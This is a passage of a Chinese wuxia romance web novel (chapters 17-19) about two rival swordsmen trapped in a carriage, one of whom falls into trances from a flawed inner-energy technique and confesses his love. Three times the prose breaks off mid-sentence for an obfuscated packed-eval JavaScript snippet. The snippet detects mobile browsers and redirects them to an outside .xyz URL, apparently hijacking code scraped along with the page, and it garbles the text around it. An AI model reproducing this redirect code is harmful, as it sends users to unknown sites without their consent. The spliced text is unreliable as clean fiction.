因为,那心里的少年音色虽然有些过分不成熟,可郭暖律面上夸的他样子,依旧算得上是认真、负责,且一本正经。 高悠悠不得不别过头,尽量以冷漠口吻道:“本就是我自己换,难道以为我会大意地让你换伤药绷带么?” 高悠悠其实有点不想在郭暖律面前换药和绷带。 但对方都那样坦诚地在他面前旁若无人地换了,他若不换,就显得很小气、也过度谨慎和不够大胆了。 于是,他就换了。 然后,背对着他的郭暖律就听到了背后传来的窸窸窣窣的声音。 明明是看过静态的,可那些皎洁雪白的肌块,只要是高悠悠自己动起来的,就好像是一块儿拧动出水的玉,具有某种近乎于性感的力度,这种力度足可揉动也嵌动他的心房。 使他又开始觉出了一种恍惚。 像一种药香和草木芬芳混合的气味儿冲进鼻腔,使内心里映进了一阵轻盈的姿态和阴影。 他忽然开始盯地上的影子。 高悠悠的影。 影子里的人一动一摆,用那只杀惯了人的手,将素白破裂的外衫一点一滴地往下拉扯。 却未曾全褪。 像一段花瓣垂落到了一半,却悬而未决,始终不落。 又好似一种裹在丝缎里的玉质塑像,其给人的曼妙印象是无法形容的。 郭暖律尽力无视。 他认为自己喜欢的是精神是气质,和外貌形体这种肤浅的东西是不那么相关的。 然后,他又看到影子里的那个人用纤细的、素白的手指在伤口上抖落药粉,如信徒在神像的裂缝上洒着一些细小的花瓣,看到那秀气的小臂肌肉,在影子里呈现出匀称到美的弧度,看到那肌腱在伤口的翻覆里呈现了一种前所未有的紧绷,且在药粉洒下时,发起了一种如被羽毛拂过皮肤一般的轻颤。 郭暖律紧紧盯那影子。 紧紧盯着那些轻颤。 就连他的睫毛也微颤了一颤。 高悠悠倒是享受了一点儿难得的宁静,因为他本以为自己包扎的时候郭暖律一定会趁此机会胡思乱想,让自己无法专心。 可是,郭暖律好像没有在想任何事情呢。 他怎么这么乖? 人在干什么呢? 等高悠悠包扎完了肩上的伤口。 他忽然发现郭暖律“腾”地一下站起来。 跑到一座床前。 把脸埋进了药草堆里。 高悠悠困惑地瞪着他:“你……搞什么?” 郭暖律抬起沾着叶子的脸,冷静且面无表情道:“把脸埋进去。” 【这样就连你的影子都看不到了。】 高悠悠奇道:“什么?” 郭暖律冷静道:“我不想被干扰。” 【不可以看到影子,看到影子就想起小臂,想起小臂就会想起手指,想起手指就会戳,想起戳就会想手戳在腿上,想起手戳在大腿上就会想起轻颤,想起并拢……】 ……什么东西!? 这小子又在说一些完全搞不懂的话! 高悠悠歪了眉,困惑地看了继续埋脸的郭暖律。 这家伙还是埋着。 腰杆挺得笔直。 屁股翘在那儿。 双腿利落紧致。 是一种很好戳,且用手指戳下去会反弹回来一大部分,会很有耐性和硬度的利落。 他虽有些惑。 有些恼。 但手指更多的是痒劲儿。 是需要戳一把才缓解的痒劲儿。 手太痒了,以至于脚尖自己走了近处,眼角自己顺着余光去了,他也离得挺近了,近得可以瞧见对方的脖子上那一丝丝的绒毛,近到瞧得见那延伸到内衫里的利落的骨线和坚硬的弧度。 高悠悠忽停住。 他面无表情地盯着对方。 盯得也一向很有分寸感。 因此他只是在最后一刻停下来,手虽然还是在痒,但克制得住。 何况,对方毫无保留地在他面前换伤,脆弱的时刻也不防范,那么他也该认真尽一尽宿敌那份冷嘲热讽的独家责任。 “我知道你不想看到我。” “我也实不想见你活着。” “但若想出去的话,把脸埋下去可不会改变任何东西。” “和我一起研究研究这穴,把穴冲破,再看看这机关。” 门外忽然传来了唐约那种漫不经心、似催似笑的声音。 他方才好像忽然消失,此刻又似乎忽然出现。 “磨磨蹭蹭的,也太慢了吧?” “按着正常发展,你们方才不该交交心?为彼此包扎伤口么?” “现在不仅没能互相包扎,连面对面地说话都做不到了?” “指望你俩共同合作,和指望两座木头开花没什么区别嘛……” 高悠悠眸光一展,冷光湛然:“你把我们困在这里,是以为这一点小恩小惠。便可使你问心无愧地作践人、摆弄人么?” 那人淡淡道:“掉下来的时候冲上去救你一命,也算是小恩小惠?那你的命很不值钱嘛。” 高悠悠冷淡道:“我求没求过你救我?” “……没有。” 他继续道:“我求没求过你替我洗冤?” “……没有。” 他笃定道:“所以我自然不会去谢你。” “不谢我,那就是恨我了?” 高悠悠认认真真道:“我敬你。” 门外那人正要顺势骂下去,忽被这话说得一楞,奇道:“唉……?” 高悠悠淡淡道:“只这一次,我勉强敬你还算个护怜弱女的汉子,可这点敬不算多,很快就会用光的,我给你一晚上的时间,你若是再不放人,那出去后,我也许会和郭暖律联手一起打杀你……” 他自然而然、颐指气使的神态就好像囚禁人的是他,被他呼来喝去的是郭暖律,而被囚禁的其实是门外的唐约似的。 门外那人能怎么说、 只是轻笑,只是随意。 “所以你们二人和好,反而对我不好?” 高悠悠无视了他,冷冷道:“你现在才知道?还不放人?” 门外那人只是想了想。 “我虽讨厌你们二位装腔作势的样子,但到底也没什么深仇……” “第三层的柜子下方有绳索,也有镣铐……今晚你们中的任何一个,如能把对方铐上一点,绑上一条,那我就放了你们喽。” 高悠悠冷酷道:“你是想挑拨离间么?” 那人笑得有些奇怪:“是你自己说,若和好,便沆瀣一气出来打我,我不挑拨还等什么?” 唐约这人,看似仗义亲和,实际上心思深沉、奸诈百变,一会儿说要他们和好,一会儿又在这儿蓄意挑拨,也不知心里装的是哪家醋哪家的油,实在让高悠悠有些摸不着这人的味道是正是邪。 不过姑且试试吧。 让这小子看了猴戏,警惕性一下降,打他擒他都容易许多。 所以等郭暖律把脸一抬起,就看见高悠悠冷静地抛给了他一坨从未见过的东西。 郭暖律往下一看。 不知何处得来的柔软红绳若干。 不知何处买的坚硬镣铐若干。 不知何处买来的小球……小球在这儿干什么? 郭暖律看不懂。 高悠悠只冷静地伸出那只仿佛经历了千凿万琢的手腕,露出了里面皓雪般的白腕子,同时面无表情地说了一句。 “绑吧。” 郭暖律冷静地把目光挪向高悠悠,眉头挑得比某些人的命还长。 【你是不是真的有什么奇怪的癖好?】 高悠悠冷淡道:“没听到那小子方才说的话么?他若是看不见我们和好如友,就会想看我们斗个你死我活,今晚这马车里,非得有个人被绑上或者被拷上,他才会得意,会开心……总之,我想他有自己的办法观察到我们,也许他现在就想看你我斗起来。” 他因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039912|177768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此笃定地笑道:“可唐约想要的,我偏不给。” “我偏不和你斗,偏要让你对我为所欲为!” 说得这么得意、畅快,好像是说了什么天大的喜事儿似的。 这导致郭暖律忽以一种难以形容的表情看了看他。 高悠悠只随意地接下去:“你动手就是了,怕什么?” 反正郭暖律的捆绑技术,不能说是没有,但也可以说是很差了,他绑的死结胜活结,活结胜没有,一切致命的束缚在他手里不是装饰也成了装饰,不是玩闹也成了玩闹,让他绑——准没错! 高悠悠是这么想。 郭暖律是这么瞪。 想想想。 瞪瞪瞪。 最后郭暖律还是没有动,只是继续以一种非常困惑的表情瞪他。 【这种癖好,就算是你,也不行的……】 什么行不行?高悠悠挑眉:“你有没有在认真听我说话?” 这只是演戏给门外那个混账小子而已。 你不是惯会演戏的吗? 你不是从来心口不一的么? 这个时候你就不演了?你这一身嘴硬的本事呢? 郭暖律只是漠然地瞪着他。 【就算是演戏也不该这么积极吧?你接受得这样快,真的不是趁机发挥怪癖么?】 【你也该培养一点正常的癖好,比如偶尔戳戳你的脑,你的胸,你的鼻孔之类的……】 【不过你方才站在我身后那么久……】 【你想戳的是在哪里?】 高悠悠一惊,随即骂道:“你这东西,果然听不懂人话。” 干脆不管对方,只抖了抖手上的绳索,干脆地,果断地,往自己那肉乎乎的大腿根部绕了一圈。 郭暖律的眼忽然急剧瞪大。 瞪着那弧度慢慢凹了一点儿进去,瞪着那肌肉从原本的松弛一下子猛地跳到了紧绷的状态,好像那些力度一下子都汇入到了这一点,这一圈,是绳子随着手指的指引而绕过去的这一圈…… 高悠悠做完这些,刚想去看看郭暖律能不能领会自己的意思。 结果他发现郭暖律这次把脸埋进了水盆里。 高悠悠愣住了。 这又搞什么? “……小郭?” 水盆里冒出了“咕噜咕噜”的两声。 “你到底起不起来?” 水盆里冒出了“吱噜吱噜”的两声。 “……我戳死你。” 沉默的水盆立刻“吱哇”一声水花四溅,其中升冒出一张被千万颗水珠精心打造过的俊俏脸孔,那碎发如青丝驯服地贴在了他的眉眼和额角,把那张略显深邃的面孔打得柔和了许多,还有那琥珀一般通透的野性眸子,也在水色掩映下显得有些迷茫和恍惚。 这种恍惚中透出的俊美,让高悠悠看得都有些惊了。 而郭暖律继续在恍惚中瞪着他的脸。 高悠悠的手搭在了自己的腿环上:“你难道还没睡醒么?方才决斗的时候就睡着睡着掉下去了,现在还睡?靠水泼才能醒么?” 他觉出对方有些奇怪,从那次莫名掉下去就有点不对,从使用期那股子邪门内力之后就有点莫名要睡,睡得不分场合,困得难以消解的姿态。 而郭暖律在困倦中看了看他的腿,似乎试图补充能量,又在茫然中看了看他的指,似乎试图给自己充一些气力。 可是他还是很困倦,很困倦。 眼皮一下子就万斤重般地耷拉下来。 “我确实有点困……” 说完再不发一言,忽就倒了下去。 ———— 唐约觉得自己一直这样听着看着,终究不利于对方发挥。 他想让高悠悠和郭暖律坐下来认真谈一谈,别打生打死的,对方不听。 那就反其道而行,光明正大地挑拨对方,果然对方就上了当,不愿如他的意,反而开始和郭暖律谈合作了。 他干脆把这马车开到了城郊,然后自己悠哉悠哉地在附近的树下睡了半夜。 也不知道这俩人这半夜过得怎么样了…… 怎么一点儿声音也没呢? 难道很和谐地分床睡了? 等等……不对劲啊……这也太安静了,这两人在一起天雷勾地火的,这就不可能这么安静的啊! 难道高悠悠趁着郭暖律伤重的时候直接就用手指抹了他的脖子,掐断了他的呼吸? 忽然一个惊坐而起,唐约忐忑恐惧地冲过去,也不管被指风戳死剑锋扫死的危险了,直接就打开门。 发现的就是这么一幅景象。 郭暖律闭目不醒,眉目微皱地睡在了高悠悠的大腿上,蜷缩得如同一个刚刚出生的婴儿,双手疑似被捆绑在了一起,可绳子的另外一端却在高悠悠的指尖蜷曲地绕着,好像是轻易一提就可以把整个人连手指带臂膀都提拉起来似的那种绑法。 而高悠悠……正无比专注地观察着郭暖律。 唐约震惊地震撼地震得整个人都想尖叫出声。 却听高悠悠低声呵斥道:“别喊。” “这小子的内功有些古怪,他有时忽然睡去,有时又自己醒来,可若被吵醒而不是自然醒,他会更容易睡过去,且睡得更久,更深,非得自然睡去自然醒来才好……” “折腾了半夜了,这次他好不容易才真的睡着……” “不许吵醒他!” 唐约愣了。 啊? 啊??? 这昨晚到底发生了什么啊!? 17.醒不来的人在说 昨天晚上。 高悠悠去接住对方的时候,发现郭暖律确实是整个人倒了下来,如玉山倾倒冰峰崩碎一般,他完全不做任何防备地往地上倒,连基本的防护和本能的调整姿势都做不到。 高悠悠不得不勉强把人放在床上。 可郭暖律的身躯刚躺在床上,就因为马车行动的颠簸又栽了下来。 高悠悠不得不把他放在墙边。 然后就发现对方以一种极为不舒适的姿态靠在墙边,且身体在颤动颠簸之中渐渐蜷缩成了极扭曲的一团…… 高悠悠不得不低声呵骂道:“郭暖律……你未免也太没出……” 却忽然愣住。 因为他望过去的时候。 发现这个天不怕地不怕的郭暖律,在一百一场战役里都未曾露怯过的郭暖律,在被包围到绝境之后依旧冷静地能反败为胜的男人。 此刻竟然在发抖。 好像此刻有一种难以形容的恐惧和绝望,在噩梦里困着他,在抽打他全身上下的筋。 以至于他身上肌肉紧绷到了极点,紧出了一种迫不得已、又万分绝望的战栗。 高悠悠看得愣了半天,仿佛也恐惧了起来。 他不得不多叫了几声。 “郭暖律……小郭!” 他不得不去摇晃对方。 郭暖律甚至紧绷到无法正常地松开自己,他全身肌腱都是紧到极致的。 高悠悠不得不把那个脑袋放置到自己的大腿上。 反而是这不耐烦的举动,导致郭暖律安静了下来。 过了一会儿,他终于从高悠悠的大腿上醒过来。 他只是皱了好看的眉。 面无表情地看着。 没说任何一句话。 高悠悠淡淡道:“醒了?还不滚起来?” 郭暖律只是看着。 高悠悠冷笑:“我就是救了一只狗,狗都会舔我几下来感谢,你倒一句话都不说,你是不知道感谢这两个字是吧?” 然后他也楞了。 因为困倦的,疲惫的,睡眼惺忪的,好像清醒又不醒的郭暖律。 真的张口舔了一小下。 那白润润的舌在高悠悠的指尖飞速地过了一下,明明是润,却似是抚。 高悠悠僵住。 僵得像全身都堵塞了。 那湿润润的又来了一下。 蜻蜓点水般。 如小动物的舌苔滑过肌肤。 这次是他的手掌。 然后,郭暖律从他大腿上面无表情地抬起头,那目光像是醉时的清醒又似是清醒地醉了,话语里全是认真。 “我感谢了。” 高悠悠懵住:“……” 他惊楞楞地、木呆呆地看着眼前这个貌似认真,貌似清醒,貌似是没什么毛病的郭暖律。 他还在懵。 不仅仅是因为郭暖律的表情那么地认真。 不单单是因为郭暖律刚才做了什么恐怖举动。 而是因为现在的郭暖律…… 声音怎么那么像是他心里说的那个少年音色? 然后,过了那么数秒,又仿佛过了数个轮回。 他做了第一件事。 就是手上迅速拨浪翻云般地一震。 使用巨大力道直接把把对方甩了出去! 把睡眼惺忪、未曾全醒的郭暖律直接一下子震到了墙上。 这人受到剧痛震荡之余,好似骨骼都震动了一下,只因高悠悠的内力虽受到穴道封制,可其力道本就是天生博大,这一甩下来不算伤筋,可也动骨了。 他却也没有任何多余的疼痛表情,只是定定地看了看眼前的高悠悠,好像轰隆隆的海浪全拍在他身上,他也只是看这个人,只用看这个人就够了。 高悠悠嘴角一搐,忽一言不发就上前。 这次却不是温和的戳、不是试探的点。 而是愤怒之下的一掌——横切咽喉! 这是受到冒犯而含愤生怒下的一掌,即便不具任何内力也足够震碎一个成年人的咽喉。 这一掌就这么如风驰电、似云凿雷,如横来的天谴与斜上的刀斧一般横切而至。 郭暖律却只是目光平平地看向他。 一动不动。 如自己的咽喉本就是对方掌的归宿。 看对方,抬起头。 不躲。 一动不动到最后也不去躲。 不去躲可怕的一掌,不去躲那避不开的一切,也不去躲那心仪的梦里常出现的人和眼,那一掌完全就是有去无回地切去,切得好像情分都可断、都可尽——尽处却是郭暖律咽喉处前三寸的距离,那一掌像撞作一道无形的墙上,停了。 彻底停在了咽喉前。 高悠悠奇怪地看向对方。 首先,他认为自己这不是留情。 只是他奇怪地发现——在那掌心的刀毫不留情地袭来之后,郭暖律定定地凝视着他,好似极力睁大失焦的眼,想看清一个人。 像雪里盲了许久的人,冒着丢命的风险也要看清楚一个人。 看清楚这个人好像是能让他唯一清醒的方式,看清楚这个人似是能让他飞得更高,高到粉身碎骨也无所谓的奖励,看清楚这个人好像是他逃不开、躲不掉,最后只能认下的宿命。 可是……这个人想看清什么呢? 他看得眼一眨不眨,定住了都。 高悠悠迷惑地看了看他,当即化切喉为伸掌,掌心在对方的额头探了一探。 有点烫。 高悠悠当即掌化作指,直拉扯出郭暖律的蜜色腕子,在那蜜色的骨节分明的腕子上一点一摸一戳。 有点怪。 脉象上看,确实是有一些古怪的内力余波在体内震荡不休,如丝作的浪卷起了铅作的云,显得轻中带重,柔里含钢,绵延又激烈,缱绻又外放,黏着你的内息却又排斥你的内息。 高悠悠立刻看向眼前这个木定的郭暖律。 所以现在这个家伙…… 看上去是面无表情的,克制的,清醒的,还能说话的。 实际上根本就没有真正醒过来吗? 整个人是清醒地睡着了? 这到底是什么诡异的内力、邪门的内功? 怎么能让郭暖律一个警醒的人成了这样? 高悠悠仿佛有点明白了——以对方对胜负输赢的执着,却不肯在自己面前用这些内力,一次都没有。 看来内力虽能加持剑招,可用一次就有这么大的反噬,这付出的代价可不小啊。 结果对面的郭暖律却仿佛以一种诡异的超直觉的方式看了他,认真地说:“我醒着。” 仍是那个少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049586|177768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年的年轻音色。 还带点儿沙哑清亮的质感。 高悠悠:“……” 他冷酷地下了判断:“你没醒。” 郭暖律认真道:“我醒着。” 高悠悠道:“你要真清醒,你说说刚才发生了什么?” 郭暖律认真道:“我在感谢你。” 高悠悠几乎用尽全身力气才能抑住把巴掌甩在对方那张认真的脸上的冲动。 可是郭暖律那么认真地,笃定地看向他。 好像自己说的话就是绝对的真理,好像他理解的感谢就是刚才的真相。 如果不是他的脑袋在发烫,如果不是他的脉象在作怪,如果不是他此刻忘了伪装,开始露出了自己的本来的音色,高悠悠几乎要相信他了。 相信他是真的清醒了。 可对方分明就没有醒来过。 从昏倒后就没有真正地醒来。 可郭暖律好像唯恐他不信似的。 竟做了件能让胆子最大的人也吓一跳的莽事。 他毫无征兆地一伸出手,迅速攥住高悠悠的手腕。 这可是高悠悠的手! 杀人于无形的神佛无相的手! 高悠悠下意识地就要升肩侧肘,然后一个肘击就能顺势击碎胸骨,胸骨劈裂就能当场毙命。 哪怕是没有内力的状态下,他的身肌体格也已经足够强悍了。 可是明明这样可怕的刻入骨髓的本能,竟然在最后一刻,还是在最后一刻停下了。 因为他或许发现了。 郭暖律并没在进攻。 攥住手,只是他想把高悠悠的身躯一点一点地掰扯过来,让素来斜视藐视小视人的高悠悠,正儿八经地直视着他。 高悠悠是直视他了。 却有些困惑。 郭暖律却认真地,也用力地询问道:“你不开心吗?” 高悠悠却被惊懵困住了。 生死交锋多年,不管心里怎么说,可从未在嘴上留过情面、素来讽刺的冷酷的说着折磨人杀人话语的郭暖律。 此刻是那么认真地,真诚地……在询问他。 是那个少年人的音色。 是他的心声里的音色。 且是对方在半年后见到自己,在心声里问的第一句话。 郭暖律一动不动地握着他的手,目不转睛地看着惊楞得说不出一句话的他。仿佛在请教一件无比重要的事: “要怎么做,你会开心?” 高悠悠勉强站在当场。 从未陷入如此的困境。 此刻面上表情已陷入了彻底空白。 为什么一个根本就没醒的人,却在此刻说着最真、最无伪的话? 而郭暖律没有看到高悠悠的半点回应,好像是用一些原始的粗糙的本能去想了想,他努力地想,认真地说道: “我可以再‘感谢’你一次。” 意识到对方说的“感谢”是什么的高悠悠忽的懵住。 他想了想。 “这好像能让你开心。” 他模糊的眼好像看清了对方。 “我可以去做很多次。” 在高悠悠的愕然下,他的眼睛忽然变得很亮很亮。 “然后,就轮到你‘感谢’我一次。” “就一次可以吗,悠悠?” 18.醒醒睡睡谁才是真 他要高悠悠…… 也这样“感谢”他? 高悠悠的眉头在一边儿挑了个八倍高。 一边儿却被压下了三分沉。 且手指和掌心都在痒痒。 痒到完全可以在一个人的脑袋顶部戳下去。 当场就给点死! 他的手指攥紧了几分,紧到如一道儿攥紧团簇的玉质的刀锋,紧到似乎下一刻就要袭在郭暖律这…… 这张认真的、好奇的、没任何杂质的面孔。 要做么? 高悠悠冷酷无情、杀气腾腾地瞪着对方。 然后把可以杀人的手指放在自己的大腿上。 他做了决定了。 郭暖律只是目光定定地往下移到那双刚被绳索勒出了肉形,又被手指掐出了痕迹的腿。 “你为什么在掐自己?你在克制什么?” 他难以理解地看,像恨不得上手把那掐肉的指给一根根掰下来。 这逼得高悠悠必须得深吸一口气。 深吸二口气。 深吸三口……口唇的下方忽然多了一根指头。 郭暖律伸出指。 往下巴那方伸了一下,几乎就要戳上去。 戳到指尖马上就要点到那鲜美的口与唇了,还毫无自觉、恍如探究。 高悠悠冷漠地看着这只送上门来等待被拗断的手指。 “啪”地一下拍开。 手掌蕴力狠绝地震开,足够干脆又足够利索。 郭暖律的手被拍回一半却如刀一转,又要回到高悠悠下巴的那一点。 高悠悠直接“啪”地一声。 把那僭越的腕子攥住。 把那该死的冒犯的指头给狠握在一起。 上次他这样握住一个恶人的手,那人的手就像是打了十个结再扭成五个团儿似的,手指骨头都彻底粉碎下来了。 而现在是郭暖律的手。 郭暖律皱眉更深,似手上的力道被限死在对方的指尖。 他的手指忽迸发出比之前强烈十倍的力道。 像一种你死我活的舞,从前在塔尖与剑尖,如今却在指尖和指尖之间。 但他毕竟不是高悠悠,他缺乏足够的技巧、足够的狠心,高悠悠感受到了这力度,却冷漠地亘古不变地沉默地攥住,他确信自己仍旧可以在最后一刻捏碎对方的手指,他相信对方会放手的。 但郭暖律没有放手。 他只好瞪着眼前这个不清醒却在说真话的人。 “我开不开心,和你有什么关系?” “至于那个感谢的比喻,不过就是一个比喻,真醒着的人绝不会误解……” 可绝不会松手的郭暖律也凝定地看着他。 高悠悠知道对方果然没醒,于是手上分花拂柳般地从对方的指尖溜出,转而往下削点三分,攥在了对方蜜色的腕子上。 看脉象,这一股诡异的内力波动似一时半刻散不去啊…… 看来自己得和这个不甚清醒的郭暖律呆上足足一晚上了。 可对方就在这时忽把眼皮耷拉下来。 困倦无力地一个前冲而倒下,似乎立刻马上就要以宽满而周正的额头去亲吻—— ——高悠悠的肩。 高悠悠侧闪而过。 却又及时转回。 像本能地躲过以后发现这样会让对方脑袋砸地的,于是干脆回转过来,以肩接人。 让对方不太安稳地昏在他的肩膀上。 他冷静地以自己为支点支撑起了这个男人的一切。 他想看看对方是不是真的昏。 这人要昏多久? 然后,肩头上的那个人的呼吸忽然从匀速变得有些微微急促起来。 郭暖律睁眼,发现自己人是硬,可撑他的那一点却更是坚硬百倍! 【这么硬……这么硬的枕头是悠悠的肩头?】 他竭力抑着心中的震惑、快活和自恋一般伟大而沉浸式的幸福,抑到最后连呼吸都快滞在泥浆水潭里搅不开。 可终究是搅开了。 他冷静果断地迅速与高悠悠分开。 复了漠然面色,开口沧桑如碾冰。 “姓高的,我方才昏了多久?” 高悠悠却不说。 只盯着郭暖律。 盯着这个醒过来,却忘了那个曾经睡着的少年人的郭暖律。 郭暖律摸了摸自己的额头,烫,点了点自己的脉象,怪,看向了高悠悠的面色,美,美里带愚蠢…… 【他让我睡在硬得可撞人的肩上,却没借此撞死我……是什么情况能克制他的杀意?】 郭暖律忽敏锐地觉出不对,手指上被印被攥的那股子热乎劲儿不是他的,很陌生。 “你方才是不是攥了我的手?” 高悠悠仍旧瞪着他。 眼神却是前所未有的复杂、难解,蕴着的人味儿忽然比从前任何一个时刻都要浓,都要厚。 仿佛刚才发生的短短几件事,比他上辈子加起来的所有事都能让他学到更多,也看到更多。 可郭暖律看着高悠悠的样子,他忽有了一种更深沉更尖锐的警醒。 “你在我昏迷的时候试图拗断我的手?” “是不是我昏的时候说了什么做了什么,让你下这样卑鄙的毒手?” 高悠悠还是没有说话。 眼看别处。 像别处的山水灯花才能冷下他心中的热烫。 郭暖律面色一沉。 “懒得辩驳了?” 【他好像有点怪唉。】 然后他才走开一点,身后的高悠悠忽然就开了口。 “方才什么都没有发生。” “你什么都没做,什么都没说。” 两句“都没”,仿佛只是非人器械在转动吐出的一些陌生的声响,使郭暖律几乎是立刻回头。 高悠悠却没有回头。 郭暖律在等他回头。 他看了这个男人的背影,似看久了能解出一道尘封前年的谜,看久了能记住这世上最难记的招,看久了能把躁动的心都凝定。 虽说那只是一个素圣如仙、端姿如兰,好看的漂亮的背。 但他盯着,他看着,他好像要永不挪眼。 但他一挪,挪的就不是眼。 而是他的整个身子! 他在这狭窄空间里猛地一把冲前,一把攥住高悠悠的手腕。 高悠悠下意识反手切脉,顺手就要下去攥住对方的手腕然后来个分筋错骨!郭暖律却用一句直诚的话截断他的反挣。 “你撒谎做什么?” 高悠悠冷笑:“做你啊,我有时真想把你做成一道冷菜,切个稀碎算了。” 郭暖律嗤笑出声,那冷飒含冰的目光夹杂了十足的嘲讽。 “你还是没有回答我——你撒谎做什么?” “须知你撒谎时就像一只猫把脑袋埋在砂里,把脑袋伸出来就以为能干净,结果脸上全是猫粪啊。” 高悠悠淡淡道:“这不是之前埋水盆的你吗?” 郭暖律:“我埋的是自己的冲动,你撒的谎又是为了谁?” 高悠悠一把甩开他的手,即将要走,郭暖律却又是一句激烈的言辞甩掷出去。 “我这一生撒的谎隐的瞒大部分是为了自己,你又是为了谁在这儿犯蠢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053704|177768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他冷笑着随口一说,目光却跟着正经了起来。 “不打算说的话,我告诉你一件事,来交换方才发生的一切,你要不要聪明一回,答应下来告诉我?” 他愿意拿秘密来换? 高悠悠沉默了片刻,试探道:“我想知道你的内功是什么。” 郭暖律想了想,道:“答应了?” “并没有。”高悠悠无所谓道,“是你想知道而不是我想知道,我说不说得取决于你说的多详细,取决于这内功多稀奇,只有详细了稀奇了,我才告诉你。” 郭暖律在瞪他。 就好像有个人正要求他把私人的、心爱的、藏在肺腑里的一件珍贵的秘密给拿出来,而那人却不准备说出任何秘密。 他防备警惕地看对方,冷笑越起越尖利。 “你不愿说,我也无话,今晚你的墓碑上刻什么就得问我了……” 高悠悠冷然截断:“你骨灰盒上的材质我一定会选最便宜的。” “你的棺材我会买纸的。” “你的陪葬品会是土哦。” 二人针锋相对到了几乎没完,高悠悠想起什么,忍不住道:“姓郭的,你到底练的是什么邪门功……” 他的“夫”字尚未落地,脸上笑容骤然停滞。 因为对方走到一半的步数骤然停下,像撞作一道儿无形墙壁似的。 且连那眼皮子也开始迅速地低沉下来。 然后没有任何征兆的,郭暖律又往下倒了。 高悠悠打算就这么看着。 结果还是在最后一科以十倍的速度那样冲刺而去。 接住,通过皮肤接触,发现了额头滚烫已泛滥,他碰到对方那只蜜色的后脖就像碰到了烧沸了的糖水一样,那股泯灭的颤动如死灰在他的指尖复燃。 这男人好像是个烤炉。 人像烤炉,身却搐动如滚糖。 像兽类被逼迫到了伤重的濒死颤栗,酝酿的是一种孤掷一注的搐动。 高悠悠冷静地观察,竟凭空生出一些愤怒和惋惜。到底怎么了? 但由于多了上次的经验,他选择把对方放置在了自己的臂膀之间。 这人倒没搐动太久,稍微平静下来,在他的臂弯里睡了那么一小会儿,皱着眉仿佛极不静的样子,就有了醒转的样式。 见对方睁开了眼。 高悠悠立刻抓着对方,急切得好像不能再等待似的:“你这到底是什么邪门内功?你难道还想再这样昏来搐去……” 郭暖律却一动不动,恍如凝固似的看他。 “什么内功?” 高悠悠惊住。 这个人的神态音色…… 这人……这人又变成了刚才没睡醒的那个郭暖律? 郭暖律却继续细细地看他、盯他,问的是:“你说的是我身上的内功吗?” 高悠悠迟疑一瞬,点了点头。 郭暖律:“我一直都知道,你也想知道?” 高悠悠眯起了一双眼。 狐疑且警惕道:“我很想知道,你会不会告诉我?” 一字一句、毫无保留地告诉我,完全不顾忌我可能会因这功法的起源而猜出你的破绽、死穴,不害怕我会知晓如何在下一次诱你出足够的力,诱你到走火入魔,然后彻底地杀死你、废了你……你会吗? 他淡然且坚定地笑了笑。 “我好喜欢你。” “我喜欢的人可以知道我的一切。” 他好像以为这就是对,是正确,是自然是理所当然,是世道是世界真相。 可是高悠悠僵立。 僵立当场。 整个人如遭雷摺! 19.无人见的静谧时刻里 倘若有个人,在困倦和难过时依然愿意把一颗真心捧出来给你,愿意叫你知道他的软肋、他的起源,甚至他的一切,你该怎么做? 倘若这个人,如今其实是不清醒的状态,且素来是心里口里两个面儿,从前说喜欢,可从来也下得了狠手,你又该不该信他? 倘若这个人…… 这个人是郭暖律呢? 高悠悠定定地看着郭暖律。 只觉得心中现在就面临着这样艰难的、可怕的抉择。 郭暖律却没有等呆愣的他醒神。 也没有等不开口的他开始出口。 他直接就顶着发烫的额头,和古怪沉涩的脉象。 略带愉快,也算认真地讲了下去。 原来这门功夫叫“还岁神功”。 原来这功夫是他的剑神师父吴醒真年轻时练的。 练就了一门神功,使他所向披靡,四十岁的人如十多岁那样年轻,几乎可以算得上是不老、难死、半长生了。 可在郭暖律看来,却是不老、半死、短命。 这不是一门好功夫。 在脑袋懵烫懵烫、神智不太清晰的郭暖律讲述中,吴醒真被人传授了这功夫,实则是遭人算计了。 因为这坏功夫初时看不出什么,练到深处,却常使他的师父睡着。 不是一般的睡着,而是毫无理由,全没预兆,更无警惕的,像晕倒昏厥一样忽然就倒下睡了,且一睡就是几个时辰到几天不止,旁人叫不醒,若是强行唤醒,反会有极大反噬,严重的话会伤脏腑、扰筋脉。 总之,吴醒真在郭暖律的小时候,就经常这样发病,睡着。 所以他从不向郭暖律传授这门有问题的内功。 那郭暖律怎么会的呢? 自己会的。 他由于常看师父受内功折磨,想活活不好,想死死不掉,心中越来越坚定了一个念头。 总得做点什么啊。 就算做不了什么,也得做点什么啊。 他就去旧日的库房里翻找出了那本残破不堪的《还岁神功》武经秘要。 